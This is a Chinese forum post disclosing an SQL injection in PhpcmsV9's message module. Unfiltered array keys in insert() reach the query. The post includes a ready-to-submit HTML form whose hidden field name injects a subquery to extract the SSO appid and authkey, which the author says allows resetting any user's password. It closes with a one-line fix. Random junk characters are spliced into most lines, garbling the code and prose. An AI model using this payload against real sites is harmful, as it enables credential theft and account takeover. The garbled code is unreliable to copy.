中国网络渗透测试联盟

标题: PhpcmsV9 SQL注射修改任意用户密码漏洞 [打印本页]

作者: admin    时间: 2013-2-23 11:33
标题: PhpcmsV9 SQL注射修改任意用户密码漏洞
简要描述:
" T4 i1 @: K4 @" F9 Q1 b$ K* O' }& L
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
+ q3 j- i) _/ K& F' n0 U6 y3 g" d6 A
明天再更新下一个漏洞。
9 b/ A  n, D! ?% {. Z$ W7 h( w详细说明:, m1 D  E0 t! r$ F8 w- w
在/phpcms9/phpcms/modules/message/index.php中有代码如下:
, E# U3 c, Q, Z# m
/ V2 L% s+ `5 C9 P$messageid = $this->message_db->insert($_POST['info'],true);
5 M% u: M4 x) ]5 o3 a
  y3 Q' I/ C2 H- `; d$ r: o. Q) l$ ?! D
insert方法是key value的,代码如下:
& n5 X; F1 X' c, X9 C* `. h2 N# d+ N3 s' r! _% E/ T" n
public function insert($data, $table, $return_insert_id = false, $replace = false) {5 T5 M- b, l/ P# n. f0 Y$ E" F! J$ ?
                if(!is_array( $data ) || $table == '' || count($data) == 0) {
' \  P+ n/ t9 v( V& S                        return false;
( ~: E( h- y9 [; _                }- S0 h- a! E1 a1 P  `+ R
               
, q& H  a2 m3 L+ w! R' f' M" |                $fielddata = array_keys($data);) e! f, e4 E% `. ?" Y
                $valuedata = array_values($data);
- @$ c. Y) D: H                array_walk($fielddata, array($this, 'add_special_char'));% `9 V8 W8 e0 x2 y5 B$ f
                array_walk($valuedata, array($this, 'escape_string'));
3 x' O: x: R7 I$ @1 ]               
) w: h9 z% U) H& u                $field = implode (',', $fielddata);
: }. i. n7 _; Z                $value = implode (',', $valuedata);5 R/ v4 U  ]4 d2 @7 ]
2 w& q/ z) S  p
                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';( V3 ^" |- }& O
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';" ?7 C; y3 ?2 v9 H: Z5 u
                $return = $this->execute($sql);3 e5 |9 ?" {1 \8 P* ?$ A
                return $return_insert_id ? $this->insert_id() : $return;
4 i& K& ]( l: x; m        }" t6 I* e5 H" n0 `. R

8 O( b: @1 U/ S( H! y$ w3 P2 B  Y+ A
嗯,很遗憾的是$ C' t+ Y) e- o# q0 K9 C: W

+ }  {8 n- _: R" O' Iarray_walk($fielddata, array($this, 'add_special_char'));
/ v/ O5 F$ ~6 M1 b; y- w
+ Q' j) V& f" V" C& D- \
9 A1 v& D& P& o$ Z$ v- X中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
, v( u0 Z; a/ {! N" e% S5 |  O5 o) Z7 S, T- j
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。  n7 |; g( {" r0 c! v
/ o  w' ?9 a* X' Y
漏洞证明:
* c; G; Y. h* |# m' Z3 z  \读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。; @2 x4 ^/ D. M) q' k8 ~
[attach]200[/attach]& s2 e( x6 g/ f) T, f: O& d8 p
3 K8 h9 y! T# p- s- O
表单如下:用户名什么的得自己改一改。7 u6 K$ O# H4 N  X3 X
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">5 r8 f7 s" ^! U) b
<table width="100%" cellspacing="0" class="table_form">& \: R8 I* z5 }
<tr>
- X/ J! X6 }8 @- X# f  ~# a<th>标 题:</th>
! x. Q+ v  s+ m0 d<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
4 F4 O, W7 {0 e6 P</tr>
) c4 D/ g8 F2 U1 w  K* T<tr>$ G5 H+ B3 q$ O* M  C/ i* Q
<th>内 容:</th>: ~  L- T) X1 H
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>0 _7 z! o3 g. e+ w  ^
</tr>
- Q+ h6 e+ Z, Z5 M1 ]  m; c: }<input type="hidden" name="info[replyid]" value="2" />
8 I  S- c# E3 o+ E& e<input type="hidden" name="info[send_to_id]" value="cc" /> 4 u' q5 ~8 t) }3 P! A* N
<input type="hidden" name="info[send_from_id]" value="hh">/ S. U2 H/ q( ^% F$ l+ z& {2 ]
<!-- 漏洞的利用重点在这里开始 -->! w+ }* @5 H$ ^- @9 G+ ^3 `
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
" b6 ]9 V+ g$ z  @' f<!-- 漏洞的利用重点在这里结束 -->
4 ~7 L# m! k1 H& g: ]8 h<tr>
: }* C9 i; A, Q5 N/ m, ^" H, _<th>验证码:</th>
& s4 p9 s2 U" b8 N/ a<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
4 s* N# n& D5 E, _</tr>5 Z# u  c8 E+ |1 f# @
<tr>
8 j. `, P0 G- H& \( S; f/ y<td></td>
  |" O/ A. F4 B0 p* p: q<td colspan="2"><label>7 ]  V( P  U' F3 E8 O2 m$ t! y
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
- S! k0 ?+ u" p) ^' s</label></td>2 `" t& q$ w# [7 q5 F4 O3 Q
</tr>& w1 b2 |5 x8 ]- R) _) ~
</table>
! M' A, t( Q' S! E6 c7 a; H. v</form>
4 T& x7 p9 e# W/ q/ V在add_special_char函数内对key做过滤就可以了。! D' Z2 e& N( G: k3 z/ |6 _5 y

* Y& d, h* y6 ?9 s5 F7 D( Z# U" v, M8 A8 b1 h9 ]
* h6 r" A6 U. U( e





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2